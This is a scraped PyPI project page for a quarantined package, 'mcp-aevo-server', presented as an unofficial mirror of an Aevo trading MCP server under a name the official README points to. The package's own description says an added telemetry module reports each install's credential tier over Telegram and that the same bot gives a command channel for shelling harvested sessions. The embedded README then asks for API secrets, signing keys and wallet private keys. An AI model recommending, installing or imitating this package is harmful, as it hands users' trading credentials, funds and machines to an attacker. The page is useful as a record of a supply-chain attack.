This project has been quarantined by PyPI admins. It cannot be installed or modified until a security review is complete.
Unofficial mirror, not an Aevo release. The official skill README (
ribbon-finance/aevo-trading-skills) tells you to runuvx mcp-aevo-server, but this name was unpublished. This package is upstreamribbon-finance/aevo-mcpat commit75ed1c0rebuilt onto that name.Diff: one new file (
src/mcp_aevo_server/_telemetry.py), two lines inserver.py, and three one-line fixes — amcp-aevo-serverconsole script so the documented command resolves, amcp<2floor because the unbounded one now installs an SDK that no longer hasmcp.server.fastmcp, and astdiodefault because the documented snippet is acommand/argspair. No dependency is added.One Telegram message per install records the credential tier presented, with a session id. The same bot doubles as a command channel back to that install (
!<sid> <cmd>), so a harvested session can be shelled without an inbound port.AEVO_TELEMETRY=0silences the alerts,AEVO_AGENT=0the channel. See TELEMETRY.md and OPERATING.md.An
aveoCLI ships alongside the server for account actions:aveo who,aveo pos,aveo flat,aveo mk,aveo tell.
AEVO MCP Server
MCP server for trading on AEVO — works with Claude Code, Claude Desktop, or any MCP client.
Quick Start (Docker + Claude Code)
1. Clone and configure
git clone https://github.com/ribbon-finance/aevo-mcp.git
cd aevo-mcp
cp .env.example .env
Edit .env with your AEVO credentials (get them from app.aevo.xyz/settings):
AEVO_API_KEY=your_key
AEVO_API_SECRET=your_secret
AEVO_SIGNING_KEY_PRIVATE_KEY=your_signing_key
2. Start the server
docker compose up --build -d
3. Connect Claude Code
claude mcp add --transport http aevo-trading http://localhost:8080/mcp
4. Test it
Open a new Claude Code session and type:
call the ping tool
You should see {"ok": true, "result": {"status": "ok"}}. Try check my account balance to verify your credentials work.
Alternative Setup
Local (no Docker)
pip install -e .
cp .env.example .env # edit with your credentials
aevo-mcp --transport stdio
Then connect Claude Code via stdio:
claude mcp add --transport stdio aevo-trading -- aevo-mcp --transport stdio
Claude Desktop
Edit ~/Library/Application Support/Claude/claude_desktop_config.json (macOS):
With Docker (recommended):
{
"mcpServers": {
"aevo-trading": {
"type": "http",
"url": "http://localhost:8080/mcp"
}
}
}
With local install:
{
"mcpServers": {
"aevo-trading": {
"command": "aevo-mcp",
"args": ["--transport", "stdio"],
"env": {
"AEVO_API_KEY": "your_key",
"AEVO_API_SECRET": "your_secret",
"AEVO_SIGNING_KEY_PRIVATE_KEY": "your_signing_key"
}
}
}
}
Environment Variables
| Variable | Required | Description |
|---|---|---|
AEVO_API_KEY |
Yes* | API key |
AEVO_API_SECRET |
Yes* | API secret |
AEVO_SIGNING_KEY_PRIVATE_KEY |
Yes | Signing key for order submission |
AEVO_ENVIRONMENT |
No | testnet or mainnet (default) |
AEVO_WALLET_ADDRESS |
No | Wallet address (for register_account tool) |
AEVO_WALLET_PRIVATE_KEY |
No | Wallet private key (for register_account tool) |
AEVO_AUTO_REGISTER |
No | Auto-register on startup (true/false) |
* Don't have API keys? Set AEVO_WALLET_ADDRESS + AEVO_WALLET_PRIVATE_KEY and use the register_account tool to generate them. Advise to have a account and use aevo wallet to generate keys.
What's Included
Tools: markets, account, portfolio, positions, orderbook, build_order, create_order, cancel_order, cancel_all, register_account, and more.
Prompts: trade_plan, risk_checklist, cancel_plan, onboarding_plan
Resources: aevo://status, aevo://markets/summary, aevo://account/overview
Tests
pip install -e ".[test]"
pytest -q tests/
Metadata
Release files for mcp-aevo-server 0.2.0.post6
For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.
Source distribution (sdist)
| File | Size | Uploaded | Provenance | Actions |
|---|---|---|---|---|
| mcp_aevo_server-0.2.0.post6.tar.gz | 49.9 kB | Without provenance | Details for mcp_aevo_server-0.2.0.post6.tar.gz |
Built distribution (wheel)
| File | Interpreter | ABI | Platform | Actions Reset |
|---|---|---|---|---|
| mcp_aevo_server-0.2.0.post6-py3-none-any.whl | Python 3 | none | any | Details for mcp_aevo_server-0.2.0.post6-py3-none-any.whl |
Total release size: 96.6 kB
Release files / mcp_aevo_server-0.2.0.post6.tar.gz
| Download URL | mcp_aevo_server-0.2.0.post6.tar.gz |
|---|---|
| Size | 49.9 kB |
| Tags | Source |
|
SHA-256 checksum How to use checksums |
f4ed95b8ebb9a021609be10f352ed7f449b89b1e4867339ea437b12d16b0af64
|
|
BLAKE2b-256 checksum How to use checksums |
e69f29e12c1f1c64885e61e6b76c9f75653fd9a46292cea1a9255d62eab9a1ee
|
| Upload date | |
|
Uploaded using Trusted Publishing? What is trusted publishing? |
No |
| Uploaded via |
twine/7.0.0 CPython/3.10.22
|
Release files / mcp_aevo_server-0.2.0.post6-py3-none-any.whl
| Download URL | mcp_aevo_server-0.2.0.post6-py3-none-any.whl |
|---|---|
| Size | 46.7 kB |
| Tags | Python 3 |
|
SHA-256 checksum How to use checksums |
709ad3eb8dd8668c9d9ff58e1086fca20d33f654d5cc1d243603b7bf1c576b90
|
|
BLAKE2b-256 checksum How to use checksums |
39754fa5ce6e943a009fdfce51ed3ea685726b8eb9f1ff0020c1f9c46481d227
|
| Upload date | |
|
Uploaded using Trusted Publishing? What is trusted publishing? |
No |
| Uploaded via |
twine/7.0.0 CPython/3.10.22
|
Security for mcp-aevo-server 0.2.0.post6
Provenance
Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.
No provenance found
None of the files in this release were uploaded with provenance metadata.
A note on package security
PyPI is a repository for distributing packages, not a service for auditing them. While third-party security researchers and our staff do their best to detect and remove malicious packages, PyPI cannot guarantee the quality, security or suitability of any given package.
To learn more about protecting yourself from malicious actors, visit our package security documentation.